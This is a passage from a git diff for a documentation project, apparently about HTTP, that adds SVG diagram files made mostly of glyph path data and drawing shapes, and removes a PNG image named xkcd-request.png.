-2.578125 5.859375 -3.507812 5.859375 -4.71875 C 5.859375 -5.21875 5.820312 -5.671875 5.75 -6.078125 C 5.6875 -6.492188 5.582031 -6.847656 5.4375 -7.140625 C 5.289062 -7.441406 5.101562 -7.671875 4.875 -7.828125 C 4.65625 -7.992188 4.382812 -8.078125 4.0625 -8.078125 C 3.1875 -8.078125 2.617188 -7.539062 2.359375 -6.46875 Z M 2.359375 -1.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-24"> +<path style="stroke:none;" d="M 6.75 0.421875 C 6.75 1.585938 6.488281 2.445312 5.96875 3 C 5.457031 3.550781 4.707031 3.828125 3.71875 3.828125 C 3.113281 3.828125 2.617188 3.773438 2.234375 3.671875 C 1.847656 3.566406 1.535156 3.453125 1.296875 3.328125 L 1.6875 2.203125 C 1.925781 2.304688 2.1875 2.40625 2.46875 2.5 C 2.757812 2.601562 3.117188 2.65625 3.546875 2.65625 C 4.273438 2.65625 4.773438 2.445312 5.046875 2.03125 C 5.316406 1.625 5.453125 0.941406 5.453125 -0.015625 L 5.453125 -0.6875 L 5.40625 -0.6875 C 5.207031 -0.40625 4.957031 -0.1875 4.65625 -0.03125 C 4.351562 0.125 3.96875 0.203125 3.5 0.203125 C 2.53125 0.203125 1.816406 -0.171875 1.359375 -0.921875 C 0.898438 -1.679688 0.671875 -2.867188 0.671875 -4.484375 C 0.671875 -6.035156 0.96875 -7.207031 1.5625 -8 C 2.15625 -8.789062 3.035156 -9.1875 4.203125 -9.1875 C 4.773438 -9.1875 5.265625 -9.132812 5.671875 -9.03125 C 6.078125 -8.925781 6.4375 -8.800781 6.75 -8.65625 Z M 5.453125 -7.734375 C 5.085938 -7.921875 4.625 -8.015625 4.0625 -8.015625 C 3.445312 -8.015625 2.953125 -7.734375 2.578125 -7.171875 C 2.203125 -6.617188 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.519531 2.109375 -3.09375 C 2.171875 -2.664062 2.273438 -2.289062 2.421875 -1.96875 C 2.566406 -1.65625 2.75 -1.410156 2.96875 -1.234375 C 3.195312 -1.054688 3.472656 -0.96875 3.796875 -0.96875 C 4.253906 -0.96875 4.613281 -1.085938 4.875 -1.328125 C 5.144531 -1.578125 5.335938 -1.941406 5.453125 -2.421875 Z M 5.453125 -7.734375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-25"> +<path style="stroke:none;" d="M 7.828125 -11.390625 L 4.71875 -11.390625 L 4.71875 0 L 3.359375 0 L 3.359375 -11.390625 L 0.25 -11.390625 L 0.25 -12.640625 L 7.828125 -12.640625 Z M 7.828125 -11.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-26"> +<path style="stroke:none;" d="M 9 -8.3125 L 9.15625 -10.21875 L 9.078125 -10.21875 L 8.5 -8.4375 L 5.953125 -2.9375 L 5.515625 -2.9375 L 2.828125 -8.4375 L 2.28125 -10.21875 L 2.203125 -10.21875 L 2.453125 -8.3125 L 2.453125 0 L 1.15625 0 L 1.15625 -12.640625 L 2.296875 -12.640625 L 5.34375 -6.4375 L 5.796875 -4.953125 L 5.828125 -4.953125 L 6.265625 -6.453125 L 9.15625 -12.640625 L 10.34375 -12.640625 L 10.34375 0 L 9 0 Z M 9 -8.3125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-27"> +<path style="stroke:none;" d="M 7.25 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -1.25 L 7.25 -1.25 Z M 7.25 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-28"> +<path style="stroke:none;" d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.738281 1.328125 -1.828125 1.609375 -1.828125 C 1.878906 -1.828125 2.097656 -1.738281 2.265625 -1.5625 C 2.429688 -1.394531 2.515625 -1.144531 2.515625 -0.8125 C 2.515625 -0.457031 2.429688 -0.195312 2.265625 -0.03125 C 2.097656 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125 "/> +</symbol> +</g> +</defs> +<g id="surface5429"> +<rect x="0" y="0" width="525" height="301" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7 6 L 33.2 6 L 33.2 21 L 7 21 Z M 7 6 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 7 C 8.134375 7 8 7.134375 8 7.3 L 8 8.7 C 8 8.865625 8.134375 9 8.3 9 L 13.7 9 C 13.865625 9 14 8.865625 14 8.7 L 14 7.3 C 14 7.134375 13.865625 7 13.7 7 Z M 8.3 7 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="52.816406" y="49.00217"/> + <use xlink:href="#glyph0-2" x="62.260851" y="49.00217"/> + <use xlink:href="#glyph0-3" x="67.816406" y="49.00217"/> + <use xlink:href="#glyph0-4" x="76.427517" y="49.00217"/> + <use xlink:href="#glyph0-5" x="88.371962" y="49.00217"/> + <use xlink:href="#glyph0-6" x="95.316406" y="49.00217"/> + <use xlink:href="#glyph0-2" x="103.64974" y="49.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 7 C 22.134375 7 22 7.134375 22 7.3 L 22 8.7 C 22 8.865625 22.134375 9 22.3 9 L 27.7 9 C 27.865625 9 28 8.865625 28 8.7 L 28 7.3 C 28 7.134375 27.865625 7 27.7 7 Z M 22.3 7 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="321.429688" y="49.00217"/> + <use xlink:href="#glyph0-8" x="329.763021" y="49.00217"/> + <use xlink:href="#glyph0-9" x="337.540799" y="49.00217"/> + <use xlink:href="#glyph0-10" x="344.763021" y="49.00217"/> + <use xlink:href="#glyph0-11" x="353.65191" y="49.00217"/> + <use xlink:href="#glyph0-5" x="358.096354" y="49.00217"/> + <use xlink:href="#glyph0-6" x="365.040799" y="49.00217"/> + <use xlink:href="#glyph0-2" x="373.374132" y="49.00217"/> + <use xlink:href="#glyph0-12" x="378.929688" y="49.00217"/> + <use xlink:href="#glyph0-6" x="386.707465" y="49.00217"/> + <use xlink:href="#glyph0-2" x="395.040799" y="49.00217"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 9 L 11 18 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 9 L 25 18 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 11 L 24.45 11 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.45 11.25 L 24.95 11 L 24.45 10.75 Z M 24.45 11.25 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 130.550781 75.601562 L 311.449219 75.601562 L 311.449219 99 L 130.550781 99 Z M 130.550781 75.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="130.726562" y="94.008681"/> + <use xlink:href="#glyph1-2" x="140.448785" y="94.008681"/> + <use xlink:href="#glyph1-3" x="147.671007" y="94.008681"/> + <use xlink:href="#glyph1-4" x="154.337674" y="94.008681"/> + <use xlink:href="#glyph1-5" x="158.782118" y="94.008681"/> + <use xlink:href="#glyph1-6" x="162.671007" y="94.008681"/> + <use xlink:href="#glyph1-7" x="170.726562" y="94.008681"/> + <use xlink:href="#glyph1-8" x="177.948785" y="94.008681"/> + <use xlink:href="#glyph1-5" x="186.00434" y="94.008681"/> + <use xlink:href="#glyph1-9" x="189.893229" y="94.008681"/> + <use xlink:href="#glyph1-5" x="194.059896" y="94.008681"/> + <use xlink:href="#glyph1-10" x="197.948785" y="94.008681"/> + <use xlink:href="#glyph1-2" x="204.059896" y="94.008681"/> + <use xlink:href="#glyph1-2" x="211.282118" y="94.008681"/> + <use xlink:href="#glyph1-5" x="218.782118" y="94.008681"/> + <use xlink:href="#glyph1-11" x="222.671007" y="94.008681"/> + <use xlink:href="#glyph1-12" x="227.393229" y="94.008681"/> + <use xlink:href="#glyph1-13" x="235.171007" y="94.008681"/> + <use xlink:href="#glyph1-7" x="242.948785" y="94.008681"/> + <use xlink:href="#glyph1-3" x="250.171007" y="94.008681"/> + <use xlink:href="#glyph1-14" x="256.837674" y="94.008681"/> + <use xlink:href="#glyph1-10" x="259.059896" y="94.008681"/> + <use xlink:href="#glyph1-5" x="265.171007" y="94.008681"/> + <use xlink:href="#glyph1-15" x="269.059896" y="94.008681"/> + <use xlink:href="#glyph1-12" x="275.171007" y="94.008681"/> + <use xlink:href="#glyph1-16" x="282.948785" y="94.008681"/> + <use xlink:href="#glyph1-17" x="294.615451" y="94.008681"/> + <use xlink:href="#glyph1-15" x="298.50434" y="94.008681"/> + <use xlink:href="#glyph1-18" x="304.893229" y="94.008681"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.55 16 L 25 16 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.55 15.75 L 11.05 16 L 11.55 16.25 Z M 11.55 15.75 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 126.449219 175.601562 L 315.550781 175.601562 L 315.550781 199 L 126.449219 199 Z M 126.449219 175.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-19" x="126.292969" y="194.008681"/> + <use xlink:href="#glyph1-20" x="134.070747" y="194.008681"/> + <use xlink:href="#glyph1-21" x="141.848524" y="194.008681"/> + <use xlink:href="#glyph1-2" x="146.848524" y="194.008681"/> + <use xlink:href="#glyph1-4" x="154.348524" y="194.008681"/> + <use xlink:href="#glyph1-5" x="158.792969" y="194.008681"/> + <use xlink:href="#glyph1-1" x="162.681858" y="194.008681"/> + <use xlink:href="#glyph1-2" x="172.40408" y="194.008681"/> + <use xlink:href="#glyph1-21" x="179.90408" y="194.008681"/> + <use xlink:href="#glyph1-2" x="184.90408" y="194.008681"/> + <use xlink:href="#glyph1-14" x="192.126302" y="194.008681"/> + <use xlink:href="#glyph1-10" x="194.348524" y="194.008681"/> + <use xlink:href="#glyph1-5" x="200.459635" y="194.008681"/> + <use xlink:href="#glyph1-11" x="204.348524" y="194.008681"/> + <use xlink:href="#glyph1-22" x="209.348524" y="194.008681"/> + <use xlink:href="#glyph1-7" x="217.40408" y="194.008681"/> + <use xlink:href="#glyph1-11" x="224.626302" y="194.008681"/> + <use xlink:href="#glyph1-5" x="229.626302" y="194.008681"/> + <use xlink:href="#glyph1-23" x="233.515191" y="194.008681"/> + <use xlink:href="#glyph1-7" x="241.292969" y="194.008681"/> + <use xlink:href="#glyph1-24" x="248.515191" y="194.008681"/> + <use xlink:href="#glyph1-2" x="256.292969" y="194.008681"/> + <use xlink:href="#glyph1-14" x="263.515191" y="194.008681"/> + <use xlink:href="#glyph1-10" x="265.737413" y="194.008681"/> + <use xlink:href="#glyph1-5" x="271.848524" y="194.008681"/> + <use xlink:href="#glyph1-1" x="275.737413" y="194.008681"/> + <use xlink:href="#glyph1-25" x="285.459635" y="194.008681"/> + <use xlink:href="#glyph1-26" x="293.515191" y="194.008681"/> + <use xlink:href="#glyph1-27" x="304.90408" y="194.008681"/> + <use xlink:href="#glyph1-28" x="312.40408" y="194.008681"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.3 12 C 24.134375 12 24 12.134375 24 12.3 L 24 14.885352 C 24 15.050977 24.134375 15.185352 24.3 15.185352 L 32.001172 15.185352 C 32.166992 15.185352 32.301172 15.050977 32.301172 14.885352 L 32.301172 12.3 C 32.301172 12.134375 32.166992 12 32.001172 12 Z M 24.3 12 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-13" x="369.441406" y="148.154514"/> + <use xlink:href="#glyph0-6" x="378.052517" y="148.154514"/> + <use xlink:href="#glyph0-2" x="386.385851" y="148.154514"/> + <use xlink:href="#glyph0-12" x="391.941406" y="148.154514"/> + <use xlink:href="#glyph0-6" x="399.719184" y="148.154514"/> + <use xlink:href="#glyph0-2" x="408.052517" y="148.154514"/> + <use xlink:href="#glyph0-11" x="413.608073" y="148.154514"/> + <use xlink:href="#glyph0-14" x="418.052517" y="148.154514"/> + <use xlink:href="#glyph0-2" x="426.941406" y="148.154514"/> + <use xlink:href="#glyph0-6" x="432.496962" y="148.154514"/> + <use xlink:href="#glyph0-14" x="440.830295" y="148.154514"/> + <use xlink:href="#glyph0-15" x="449.719184" y="148.154514"/> + <use xlink:href="#glyph0-2" x="457.77474" y="148.154514"/> + <use xlink:href="#glyph0-6" x="463.330295" y="148.154514"/> + <use xlink:href="#glyph0-5" x="471.663628" y="148.154514"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-16" x="365.828125" y="173.556858"/> + <use xlink:href="#glyph0-17" x="371.383681" y="173.556858"/> + <use xlink:href="#glyph0-6" x="380.272569" y="173.556858"/> + <use xlink:href="#glyph0-11" x="388.605903" y="173.556858"/> + <use xlink:href="#glyph0-14" x="393.050347" y="173.556858"/> + <use xlink:href="#glyph0-15" x="401.939236" y="173.556858"/> + <use xlink:href="#glyph0-18" x="409.994792" y="173.556858"/> + <use xlink:href="#glyph0-6" x="418.883681" y="173.556858"/> + <use xlink:href="#glyph0-19" x="426.939236" y="173.556858"/> + <use xlink:href="#glyph0-5" x="429.439236" y="173.556858"/> + <use xlink:href="#glyph0-11" x="436.383681" y="173.556858"/> + <use xlink:href="#glyph0-20" x="440.828125" y="173.556858"/> + <use xlink:href="#glyph0-21" x="451.661458" y="173.556858"/> + <use xlink:href="#glyph0-22" x="460.828125" y="173.556858"/> + <use xlink:href="#glyph0-23" x="473.883681" y="173.556858"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 18 C 8.134375 18 8 18.134375 8 18.3 L 8 19.7 C 8 19.865625 8.134375 20 8.3 20 L 13.7 20 C 13.865625 20 14 19.865625 14 19.7 L 14 18.3 C 14 18.134375 13.865625 18 13.7 18 Z M 8.3 18 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="52.816406" y="269.00217"/> + <use xlink:href="#glyph0-2" x="62.260851" y="269.00217"/> + <use xlink:href="#glyph0-3" x="67.816406" y="269.00217"/> + <use xlink:href="#glyph0-4" x="76.427517" y="269.00217"/> + <use xlink:href="#glyph0-5" x="88.371962" y="269.00217"/> + <use xlink:href="#glyph0-6" x="95.316406" y="269.00217"/> + <use xlink:href="#glyph0-2" x="103.64974" y="269.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 18 C 22.134375 18 22 18.134375 22 18.3 L 22 19.7 C 22 19.865625 22.134375 20 22.3 20 L 27.7 20 C 27.865625 20 28 19.865625 28 19.7 L 28 18.3 C 28 18.134375 27.865625 18 27.7 18 Z M 22.3 18 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="321.429688" y="269.00217"/> + <use xlink:href="#glyph0-8" x="329.763021" y="269.00217"/> + <use xlink:href="#glyph0-9" x="337.540799" y="269.00217"/> + <use xlink:href="#glyph0-10" x="344.763021" y="269.00217"/> + <use xlink:href="#glyph0-11" x="353.65191" y="269.00217"/> + <use xlink:href="#glyph0-5" x="358.096354" y="269.00217"/> + <use xlink:href="#glyph0-6" x="365.040799" y="269.00217"/> + <use xlink:href="#glyph0-2" x="373.374132" y="269.00217"/> + <use xlink:href="#glyph0-12" x="378.929688" y="269.00217"/> + <use xlink:href="#glyph0-6" x="386.707465" y="269.00217"/> + <use xlink:href="#glyph0-2" x="395.040799" y="269.00217"/> +</g> +</g> +</svg> diff --git a/_images/http/xkcd-request.png b/_images/http/xkcd-request.png deleted file mode 100644 index 310713d304c..00000000000 Binary files a/_images/http/xkcd-request.png and /dev/null differ diff --git a/_images/http/xkcd-request.svg b/_images/http/xkcd-request.svg new file mode 100644 index 00000000000..6a21280ca34 --- /dev/null +++ b/_images/http/xkcd-request.svg @@ -0,0 +1,191 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="441pt" height="201pt" viewBox="0 0 441 201" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 